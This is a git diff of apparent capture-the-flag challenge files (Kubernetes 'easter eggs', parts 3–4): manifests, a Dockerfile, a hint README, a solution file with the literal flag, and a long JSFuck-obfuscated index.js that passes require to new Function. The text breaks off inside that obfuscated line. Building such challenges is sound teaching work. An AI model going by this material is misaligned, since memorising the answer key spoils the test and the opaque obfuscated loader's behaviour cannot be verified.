b/k8s_easter_eggs/part3/postgres.yaml @@ -0,0 +1,19 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: postgres + namespace: my-first-project +spec: + replicas: 1 + selector: + matchLabels: + app: postgres + template: + metadata: + labels: + app: postgres + spec: + containers: + - name: postgres + image: us-docker.pkg.dev/capturetheklarrioflag/gcr.io/pg-container + imagePullPolicy: "Always" diff --git a/k8s_easter_eggs/part3/psqlrc b/k8s_easter_eggs/part3/psqlrc new file mode 100644 index 0000000..5c378e3 --- /dev/null +++ b/k8s_easter_eggs/part3/psqlrc @@ -0,0 +1 @@ +\set HISTFILE /dev/null diff --git a/k8s_easter_eggs/part4/.gitignore b/k8s_easter_eggs/part4/.gitignore new file mode 100644 index 0000000..30bc162 --- /dev/null +++ b/k8s_easter_eggs/part4/.gitignore @@ -0,0 +1 @@ +/node_modules \ No newline at end of file diff --git a/k8s_easter_eggs/part4/Dockerfile b/k8s_easter_eggs/part4/Dockerfile new file mode 100644 index 0000000..e6959e8 --- /dev/null +++ b/k8s_easter_eggs/part4/Dockerfile @@ -0,0 +1,13 @@ +FROM node:18 + +WORKDIR /app + +COPY package.json yarn.lock ./ + +RUN yarn + +COPY index.html index.js ./ + +EXPOSE 3001 + +ENTRYPOINT ["node", "index.js"] \ No newline at end of file diff --git a/k8s_easter_eggs/part4/README.md b/k8s_easter_eggs/part4/README.md new file mode 100644 index 0000000..1343109 --- /dev/null +++ b/k8s_easter_eggs/part4/README.md @@ -0,0 +1,4 @@ +# K8S Easter Eggs 4 + +## Text +cool-webapp-check-it-out is not a joke, do go check it out :) \ No newline at end of file diff --git a/k8s_easter_eggs/part4/SOLUTION.md b/k8s_easter_eggs/part4/SOLUTION.md new file mode 100644 index 0000000..55e641e --- /dev/null +++ b/k8s_easter_eggs/part4/SOLUTION.md @@ -0,0 +1,8 @@ +## Difficulty +Hard + +## How to Solve +`kubectl port-forward svc/cool-webapp-check-it-out 3001:3001` and then visit http://localhost:3001. There, fill in anything that would make JavaScript's parseInt return NaN. In The meantime. watch the logs with `kubectl logs cool-webapp-check-it-out -f` and the flag will be printed out. + +## Flag +IGCTF-KLARRIO{brand_brand_paniek_paniek_brand} \ No newline at end of file diff --git a/k8s_easter_eggs/part4/challenge.yaml b/k8s_easter_eggs/part4/challenge.yaml new file mode 100644 index 0000000..04d36d6 --- /dev/null +++ b/k8s_easter_eggs/part4/challenge.yaml @@ -0,0 +1,32 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: cool-webapp-check-it-out + labels: + app: cool-webapp +spec: + replicas: 1 + selector: + matchLabels: + app: cool-webapp + template: + metadata: + labels: + app: cool-webapp + spec: + restartPolicy: Always + containers: + - name: cool-webapp + image: us-docker.pkg.dev/capturetheklarrioflag/gcr.io/part4:latest +--- +apiVersion: v1 +kind: Service +metadata: + name: cool-webapp-check-it-out +spec: + selector: + app: cool-webapp + ports: + - protocol: TCP + port: 3001 + targetPort: 3001 diff --git a/k8s_easter_eggs/part4/index.html b/k8s_easter_eggs/part4/index.html new file mode 100644 index 0000000..5fa29b9 --- /dev/null +++ b/k8s_easter_eggs/part4/index.html @@ -0,0 +1,25 @@ + + +
+

Test out my cool program 😎

+

A software tester walks into a bar and orders beers

+ +
+ + + \ No newline at end of file diff --git a/k8s_easter_eggs/part4/index.js b/k8s_easter_eggs/part4/index.js new file mode 100644 index 0000000..b35fe7a --- /dev/null +++ b/k8s_easter_eggs/part4/index.js @@ -0,0 +1 @@ +new Function('require','__dirname',[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+[!+[]+!+[]+!+[]]+[+[]]+[+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+